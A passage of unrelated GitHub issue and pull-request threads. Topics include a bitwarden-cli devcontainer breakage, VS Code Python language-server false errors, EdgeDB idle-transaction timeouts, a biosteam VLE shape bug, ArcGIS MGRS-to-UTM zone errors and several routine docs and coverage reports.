:arrow_down:

superset/connectors/sqla/models.py
90.36% <0.00%> (-0.27%)
:arrow_down:

... and 407 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update d315dd9...2bf34f8. Read the comment docs.

@rusackas

Thank you @etr2460 and @mistercrunch!


The hamburger menu does not contain a shortcut to the “Contact Us” section.

Description:
The hamburger menu does not contain a shortcut to the “Contact Us” section.
-Env:
Crafter Exigo Blueprint
Device: MacBook Pro
Google Chrome Version 54.0.2840.98 (64-bit)
REPRODUCIBILITY LEVEL:
Always
STEPS:
Steps

Open the Crafter studio with the Exigo site.
Review the site sections
Click on the hamburger menu.
4.Review that all the sections have their respective shortcut.

CURRENT RESULT:
The hamburger menu does not contain a shortcut to the “Contact Us” section.
https://www.screencast.com/t/aqEOQVfek
EXPECTED RESULT:
The hamburger menu should contain a shortcut to the “Contact Us” section.

Bug verified and closed as fixed .


Fix debug name for react fiber

Discovered in https://github.com/andykog/mobx-devtools/issues/13

Or, maybe, remove those usages of React private API's?

Thanks! Yeah maybe we should remove it in the future if it causes anymore trouble.


DEVICE_SRP_AUTH support missing

I'd like to request that the DEVICE_SRP_AUTH challenge flow be included in this extension package.

Yes this is a big miss related to the issue:
https://github.com/aws/aws-sdk-net-extensions-cognito/issues/10


addRow doesn't work if filter applied

If Sheet has any filter applied - so addRow (append) method does nothing. It returns OK, but actual data is not added to sheet.

As a workaround - maybe it's possible to create a function to remove filters from the sheet? 🙏


[Bug]: bitwarden-cli currently broken

Feature id and version
ghcr.io/devcontainers-contrib/features/bitwarden-cli:1
Devcontainer base Image
mcr.microsoft.com/devcontainers/base:debian-12
What happened?
The Bitwarden CLI feature is currently broken because the bitwarden/clients releases contain multiple versions of the CLI since cli-v2024.6.1
Workaround is to use the gh-releases feature directly instead
"ghcr.io/devcontainers-contrib/features/gh-release:1": {
	"repo": "bitwarden/clients",
	"binaryNames": "bw",
	"releaseTagRegex": ".*cli.*",
	"assetRegex": "bw-linux-.*",
}

Relevant log output
nanolayer.installers.gh_release.resolvers.asset_resolver.AssetResolver.AssetResolverError: Too many matches found: ['bw-linux-2024.9.0.zip', 'bw-oss-linux -2024.9.0.zip']

May be fixed in #636

This project is not associated with the devcontainer project and appears to have been abandoned https://github.com/devcontainers-contrib/features/issues/628 . The official project has removed all devcontainer-contrib features from their listing. https://github.com/devcontainers/devcontainers.github.io/issues/451. There is a fork that is being worked on to update and maintain the features https://github.com/devcontainers-extra/features


Missing hotkey to swap players

It would be extremely useful to be able to swap players using a hotkey.

Awesome! Thanks for the quick turnaround.


Fix flutter health wf

Thanks for your contribution! Please replace this text with a description of what this PR is changing or adding and why, list any relevant issues, and review the contribution guidelines below.

[ ] I’ve reviewed the contributor guide and applied the relevant portions to this PR.

Contribution guidelines:

See our contributor guide for general expectations for PRs.
Larger or significant changes should be discussed in an issue before creating a PR.
Contributions to our repos should follow the Dart style guide and use dart format.
Most changes should add an entry to the changelog and may need to rev the pubspec package version.
Changes to packages require corresponding tests.

Note that many Dart repos have a weekly cadence for reviewing PRs - please allow for some latency before initial review feedback.

@liamappelbe I have excluded swiftgen (throws) and swift2objc (unpublished) from the health check for now.
@HosseinYousefi I have excluded jnigen (throws as it has a path dependency in the published version) from the health check for now.


Add a default mask that masks the bottom of the Dynamic Border

As the title says, add a checkbox that automatically adds a mask, say on the bottom third of the token border, for moments when you need to make a quick token and don't have the time to Photoshop a mask.

Can you give an example of what you were wanting? What sort of artwork did you want to incorporate using the tokens?


New language server is reporting errors in valid code

Environment data

VS Code version: 1.26 insiders
Extension version (available under the Extensions sidebar): 2018.06
OS and version: Win 10
Python version (& distribution if applicable, e.g. Anaconda): 3.6
Type of virtual environment used (N/A | venv | virtualenv | conda | ...): NOne
Relevant/affected Python packages and their versions: None

Actual behavior
It seems to sometimes get confused with some code.
and then it starts to mark many lines as having issues.

@derekwallace can you provide us with the code that is triggering this (or a sample of it)?

Here is a snippet of the code.
What i have observed is that sometimes while typing new code that the language server starts reporting issues. This is correct as the partial code as i type is not legal python. What seems to happen is that it does not refresh when the code is complete. Therefore it reports errors and the error messages are out of context i.e. they had meaning 5 minutes ago when i was typing.
      if iErrChkActGrp != '':
         dTestCaseIni[sCtAbrev]['CheckActivityGroup[Type]']       = 'error'
         dTestCaseIni[sCtAbrev]['CheckActivityGroup[Value]']      = str(iErrChkActGrp)
         dTestCaseIni[sCtAbrev]['CheckActivityGroup[LinkHref]']   = str(cTLogFile)
         if iErrChkActGrp > 0:
            dTestCaseIni[sCtAbrev]['CheckActivityGroup[LinkTitle]']  = 'Found {} errors.
Activities not packaged correctly into a hierarchical activity
{}'.format(iErrChkActGrp, sErrChkActGrp)
         else:
            dTestCaseIni[sCtAbrev]['CheckActivityGroup[LinkTitle]']  = 'No errors found'
      else:
         dTestCaseIni[sCtAbrev]['CheckActivityGroup[Type]']       = 'custom'
         dTestCaseIni[sCtAbrev]['CheckActivityGroup[Value]']      = 'Not performed'
         dTestCaseIni[sCtAbrev]['CheckActivityGroup[LinkHref]']   = str(cTLogFile)

      if lVerLicMissing:
         dTestCaseIni[sCtAbrev]['CheckVersionLic[Type]']          = 'error'
         dTestCaseIni[sCtAbrev]['CheckVersionLic[Value]']         = str(len(lVerLicMissing))
         dTestCaseIni[sCtAbrev]['CheckVersionLic[LinkHref]']      = str(cTLogFile)
         if len(lVerLicMissing) > 0:
            dTestCaseIni[sCtAbrev]['CheckVersionLic[LinkTitle]']  = 'Missing VersionLicenses
- {}
Allowed VersionLicenses
- {}'.format(",".join(lVerLicMissing), ",".join(lVerLic))
         else:
            dTestCaseIni[sCtAbrev]['CheckVersionLic[LinkTitle]']  = 'No errors found'
      else:
         dTestCaseIni[sCtAbrev]['CheckVersionLic[Type]']          = 'error'
         dTestCaseIni[sCtAbrev]['CheckVersionLic[Value]']         = '0'
         dTestCaseIni[sCtAbrev]['CheckVersionLic[LinkHref]']      = str(cTLogFile)
         dTestCaseIni[sCtAbrev]['CheckVersionLic[LinkTitle]']     = 'No errors found'

I have since closed VSCode and installed latest insiders.
now the file is reported as no errors.

I've seen this too where the LS would report errors as if second halves of some words were missing. Maybe something breaks in the code that pushes code changes to the LS. I've seen this on two occasions and had to repeatedly reload the window to get rid of the accumulating errors but did not manage to reproduce it in a reportable manner.

another example of what goes wrong.
The mouse is over "simtestlocal", but the error is un-related.
@patrys How do you "reload the window"?

@derekwallace ⌘+Shift+P, and then type "Reload Window". Reloading will restart plugins so it's nothing more than a workaround.

@derekwallace I can't replicate with the code sample you provided. Do you happen to have another one which triggers regularly?

@brettcannon That's often the case . The problems come and go and are un-repeatable. which makes them impossible for you guys to debug. I guess you can close the issue if you want. this type of issue is not a once off. it happens frequent enough. thats why i reported it. but no code will repeatedly trigger it.

@derekwallace if you manage to ever get a repeatable code snippet then please let us know.


Add functionality for selective mocking/wrapping of individual streams or stream combinations

Only stdout, or only stderr; or stdout and stdin but not stderr; etc.
contextlib in the standard library already exists for singly mocking stdout and stderr, but there's potential for stdio_mgr to represent a more concise and customizeable means for mocking multiple streams.  The stdin mock appears to be a novel capability, though?

For this, I would like to explore either

conceptualising the three as a discrete object, or
borrowing semantics from Popen and how it allows the three streams to be controlled.

For this, I would like to explore either

always conceptualising the three as a discrete object, and using class methods to instantiate different tuples, or

For this, would a user instantiate cm, use instance methods on cm to configure the desired redirection, and then enter the context?
>>> cm = StdioManager()
>>> cm.tee_stdin(cm.stdout)
>>> with cm:
...     ...

borrowing semantics from Popen and how it allows the three streams to be instantiated & managed.

Do you mean syntax like the the Popen(..., stderr=subprocess.STDOUT)?  (TBH, I'm still unclear on what subprocess.PIPE actually does....)
Separately, maybe it would make sense to have at least three redirection modes... tee-on-read, tee-on-write, and pipe? ('pipe' would pass anything written to the stream through to the target stream, without retaining an internal copy, as in bash's 2>&1.)

For this, would a user instantiate cm, use instance methods on cm to configure the desired redirection, and then enter the context?

Yes, like the example you have, but I am envisioning also the following for creation of new streams.
>>> with _current_stdio().tee(stdin="foo") as cm:
...     assert cm.stdout.getvalue() == "foo\n"

>>> with _current_stdio().tee(stdout=False, stderr=True) as cm:
...     print("foo")
...     assert cm.stderr.getvalue() == "foo\n"

Do you mean syntax like the the Popen(..., stderr=subprocess.STDOUT)?

Yes, specifically creating constants for the three streams, so non-default behaviour is written in semi-literate code.

Separately, maybe it would make sense to have at least three redirection modes... tee-on-read, tee-on-write, and pipe?

Sounds good.  Thinking out loud ...
>>> with _current_stdio().pipe(in=stdio_mgr.STDIN, out=stdio_mgr.STDERR) as cm:
...     print("foo")
...     assert cm.stderr.getvalue() == "foo\n"


Long render time on loading board with multiple (Gauge) widgets

If you build a board with a lot of widgets, especially with many gauges and text widgets that have "Big" as their size value, after loading the Panes the browser's rendering takes quite a long time. I assume it's because every widget loaded adds a

Ok I found the solution to that. The problem is you guys are still using the v0.1.0 of gridster.js. This particular issue was solved here:
https://github.com/ducksboard/gridster.js/commit/93c46ff45ebe59f3658b7f32f05b67109aa87311

Hey there @szcze -- thanks for the heads up. This fix is on our list for the next week or so. Stay tuned!

Man @szcze, you're not kidding. 0.5.6 is obscenely quick. I'm not comfortable changing this dependency just yet, so I'll open a PR for @bugvish to check before releasing this one.


edgedb watch returns IdleTransactionTimeoutError

I have tried to setup a new local development instance with an existing schema (229 object types) which ran without any issues on EdgeDB 3.1 in the past. I ran edgedb watch and after a few seconds the action aborted with error message
Schema migration error: IdleTransactionTimeoutError: terminating connection due to idle-in-transaction timeout
[2023-12-06T13:24:31Z ERROR edgedb::watch::main] Cannot set database error state: ClientInconsistentError

I set a higher timeout for the CLI without any success. This also isn't an issue just with the embedded Postgres but also occurs when using a remote backend nor specific to the macOS release. Ubuntu doesn't make any difference.
I afterwards tried adding object types one at a time (up to about 30 types) which worked as expected. I then destroyed the instance and created a new one and using edgedb watch on these same types again resulted in the error from above.
When using migrations on this schema, I also experienced issues with constraints where EdgeDB asks if e.g. one_of or max_len_value for an unchanged field were dropped and re-adds it afterwards. This behavior happens for almost every migration creation and always for the same constraints.

EdgeDB Version: 4.2
EdgeDB CLI Version: 4.0.2
OS Version: macOS 14.1.2 & Ubuntu 22.04

Steps to Reproduce:

Add larger schema
Run edgedb watch

The connection timeout is solved. I completely forgot to also configure session_idle_transaction_timeout on the instance. But I would still appreciate any hint for the cause of the recurring migration attempts for certain constraints.

You shouldn't have to configure session_idle_transaction_timeout yourself, really

The connection timeout is solved. I completely forgot to also configure session_idle_transaction_timeout on the instance. But I would still appreciate any hint for the cause of the recurring migration attempts for certain constraints.

How were you able to configure it, I have tried doing this as well, but can't get the config to actually use the value I am setting, here is an example with a test db (instance):
❯ edgedb configure set session_idle_transaction_timeout '0s' -I bob
Connecting to EdgeDB instance 'bob' at localhost:10701...
OK: CONFIGURE INSTANCE

EdgeDB 4.4+9974f3c (repl 4.0.2+be1da73)
Type \help for help, \quit to quit.
bob:edgedb> select cfg::Config {**};
{
  cfg::Config {
    _pg_prepared_statement_cache_size: 100,
    force_database_error: 'false',
    default_statistics_target: 100,
    effective_io_concurrency: 1,
    effective_cache_size: <cfg::memory>'4GiB',
    maintenance_work_mem: <cfg::memory>'64MiB',
    query_work_mem: <cfg::memory>'4MiB',
    shared_buffers: <cfg::memory>'128MiB',
    allow_user_specified_id: false,
    apply_access_policies: true,
    allow_bare_ddl: NeverAllow,
    allow_dml_in_functions: false,
    listen_addresses: {},
    listen_port: 10701,
    query_execution_timeout: <duration>'0:00:00',
    session_idle_transaction_timeout: <duration>'0:05:00',
    session_idle_timeout: <duration>'0:00:00',
    id: 172097a4-39f4-11e9-b189-9321eb2f4b97,
    auth: {},
    extensions: {},
  },
}

@jaypyles
I've casted the config value to duration. Just run configure instance set session_idle_transaction_timeout := <duration>'0'; in EdgeDB CLI.

@jaypyles
I've casted the config value to duration. Just run configure instance set session_idle_transaction_timeout := <duration>'0'; in EdgeDB CLI.

Yeah, I do that and when selecting cfg::Config, it still shows the duration as `00:05:00.
I have noticed that in the postgresql.auto.conf the value does change though.

I actually never checked cfg::Config afterwards since watch was running afterwards. But on my dev instance (4.2) it shows session_idle_transaction_timeout := <std::duration>"PT0S".


VLE simulation

Description
I was trying to run some old scripts which worked a while ago, but now trigger errors. I'm using the
'cornstover' biorefinery and try to change composition of the 'cornstover' stream.
To Reproduce
from biorefineries.cornstover.system import cornstover, cornstover_sys

cornstover.show(N=100)
cornstover_sys.simulate()

cornstover.empty()
cornstover.set_flow(data=(1160, 4110, 180, 123, 86.3),
                    units='kmol/hr',
                    IDs=('Water', 'Ash', 'Glucan', 'Xylan', 'Lignin')
                    )
cornstover.show(N=100)
cornstover_sys.simulate()

Basically, the original cornstover composition works,

but when I set several compositions to 0,

I will get an error as

But I won't get this error if I just add another random thing (a tiny amount of Acetate in this case) into the composition

It looks like self._mol and v weren't in the same shape, but I couldn't figure out why... I tried to look into the code for VLE but was overwhelmed...
Environment
I think the codes worked on Dec 10, 2019 (the last time I ran it), but I'm not sure the biosteam version at that time.
Current environment:
macOS Catalina 10.15.3
biosteam: v2.0.1
biorefineries: v2.0.0
P.S., I firstly ran the codes using biosteam v1.0.8 and biorefineries v0.1.2, the same error was triggered, so I upgraded both packages but the error remained.
Appreciate any help!!! Thanks!!!

Very nicely detailed report! It helped tremendously. The bug is fixed now. You can "pip install thermosteam==0.2.3" and it should work.
mol and v were not in the same shape because the number of chemical in equilibrium changed from the last time the Flash vessel was simulated and thermosteam didn't get rid of some cache. I literally just added one line to fix this jaja.
Thanks for bug report!

Hooray!!! 🎉 That one line works like a charm, thanks so much!!!


feat(module:input): provide nzFocus event

provide ngFocus event
closes #73
PR Checklist
Please check if your PR fulfills the following requirements:

[x] The commit message follows our guidelines: https://github.com/NG-ZORRO/ng-zorro-antd/blob/master/CONTRIBUTING.md#commit
[ ] Tests for the changes have been added (for bug fixes / features)
[ ] Docs have been added / updated (for bug fixes / features)

PR Type
What kind of change does this PR introduce?

[ ] Bugfix
[x] Feature
[ ] Code style update (formatting, local variables)
[ ] Refactoring (no functional changes, no api changes)
[ ] Build related changes
[ ] CI related changes
[ ] Documentation content changes
[ ] Application (the showcase website) / infrastructure changes
[ ] Other... Please describe:

What is the current behavior?

Issue Number: #73
What is the new behavior?
Does this PR introduce a breaking change?
[ ] Yes
[ ] No

Other information

Coverage remained the same at 52.163% when pulling f7f87f09f5c20e8c887b5993d0759370af724b24 on giscafer:prb into 44865c21c1039584d87b1f883a08f0b691b49e13 on NG-ZORRO:master.


Update regex pattern for security rule name

Checklist for This Pull Request
🚨Please adhere to the guidelines for contributing to this repository.

[x] Ensure you are submitting your pull request to a branch dedicated to a specific topic/feature/bugfix. Avoid using the master branch for pull requests.
[x] Target your pull request to the main development branch in this repository.

[x] Check that your code additions do not fail any linting checks or unit tests.

Pull Request Description
Updates the pattern matching for security rule names
What does this pull request accomplish?

Bug fix

Are there any breaking changes included?

[ ] Yes
[x] No

Is there anything the reviewers should know?
Thank you for your contributions!

:warning: Please install the  to ensure uploads and comments are reliably processed by Codecov.
Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:
:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.

Files with missing lines
Coverage Δ

scm/models/security/security_rules.py
100.00% <100.00%> (ø)


Added tests for NVFoundationLLMService and FaissVectorDbService

Description

Added tests for NVFoundation (test_nvfoundation_llm_client.py created)
Added tests for FAISS (test_faiss_vector_db_service.py created)
Changes to faiss_vdb_service.py (implemented more methods - insert, delete, count, create)
Changes to nvfoundation_llm_service.py (api key changes in NVFoundationLLMService)

Closes
By Submitting this PR I confirm:

I am familiar with the Contributing Guidelines.
When the PR is ready for review, new or existing tests cover these changes.
When the PR is ready for review, the documentation is up to date with these changes.

/ok to test

/ok to test

/ok to test

/ok to test

/ok to test

/ok to test

/ok to test


MGRS coordinate in input textbox is converted to incorrect UTM when display coordinate is changed to UTM (ArcGIS Pro)

Steps to reproduce:

The Map Point tool is disabled.

Paste the following MGRS coordinate in the input textbox: 10TET4889274330

This MGRS coordinate is interpreted:

The output UTM coordinate is: 10T<PHONE_NUMBER>330

Now change the display coordinate properties to UTM.

-After clicking OK, the MGRS coordinate in the input textbox is converted to UTM however it's convert not converted to the correct UTM value of 10T<PHONE_NUMBER>330, but to 10N<PHONE_NUMBER>330 (incorrect zone N)
Pro addin build 09 Jan 2017 16:49 on ArcGIS Pro 1.4 final build (7198)

@jmhauck Verified that changing the display map units to UTM change the input value to the correct coordinated. build 12 Jan 2017 09:50.

@nfeuerstein @dhagens Reopening this issue because the fix is no longer working in latest ArcGIS Pro addin build 17 Jan 2017 13:13.

When I change the Display Coordinates to UTM, the UTM value that is displayed in the Input textbox is using hemisphere designator instead of latitude band.

When I active the Map Point tool to select a location on the map and move cursor over map the coordinates in the Input textbox are using hemisphere designator instead of latitude band.

Ready for testing once the PR is merged.

@dhagens Verified fixed in build 18 Jan 2017 10:14. Closing issue.


Retire Clients by Institution

Is it ok to allow to retire patients registered by the institution administrator. Need to add this functionality for the time being.

Not necessary. System admin may do it during the development phase. Afterward, this functionality is NOT needed.


[Bug]: ComboboxInput not focusing even after setting auto-focus

Native html attribute auto-focus seems to be working inconsistently.. So let's change it to js approach

I have exactly the opposite problem: the combobox is autofocused by default, and auto-focus="false" isn't working.
@zernonia

Did you find any workarounds?


[Gym Website] Stick the Navbar to the top & Scroll Smoothly

Describe the Feature you want to end
I would like to fix the navbar of this frontend website to the top for easier access for the user & make the scroll to the contents smooth.
Expected behavior

Screenshots (optional)

Additional context (optional )

@MohitGupta121 @TusharKesarwani sir kindly assign me this issue

@MohitGupta121 @TusharKesarwani  could you kindly assign me this issue


With latest 1.0.49 update, the Eco preset stopped working

After updating to 1.0.49, the eco preset stopped working. After selecting the Eco preset, it always goes back to None.
Reverting back to 1.0.48 fixes this.

Also, as others reported, the Nanoe switch also stopped working for me in this update. Reverting to 1.0.48 also fixes this.
Note: For my AC model, selecting the Eco preset activates "Quiet" mode, not Eco (or Eco Navi) mode. Also the Turbo preset does nothing and goes back to None, which I don't really use. I really like this quiet mode, more so than Eco Navi so I hope this gets fixed.

You beat me to it. I just posted my own issue #227 . Sorry for the duplicate.

I’m seeing the same behaviour after updating earlier today

Yes, I managed to break the presets when I added the +8/15. It will be fixed shortly

Should be fixed in v1.0.50

I can confirmed that Eco (Quiet mode in my case) is fixed. I can't test turbo as it doesn't work on my unit

Both presets are now working for me on 1.50.
Thanks for sorting @sockless-coding


How can I add coinable to an iMessage extension?

iMessage apps does not support delegates so I am having problems with authentication.  Any suggestions as to how to authenticate without a delegate?
Thanks!
Howard

I have to use OAuth

No problem


Remove tabSwitcher docs from master

I accidentally merged #107 into master, so I'm removing these docs to prevent merge conflicts with the release-1.3 branch. I've moved this content into that branch already.

Docs Build status updates of commit 6e3fb58:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

TerminalDocs/customize-settings/global-settings.md
:white_check_mark:Succeeded
View

TerminalDocs/customize-settings/key-bindings.md
:white_check_mark:Succeeded
View

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching in the Docs contributor and Admin GuideSee the frequently asked questionsPost your question in the Docs support channel


pull request for e2e test at 01/04/2017 05:45:14

:white_check_mark: Validation status: passed
For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.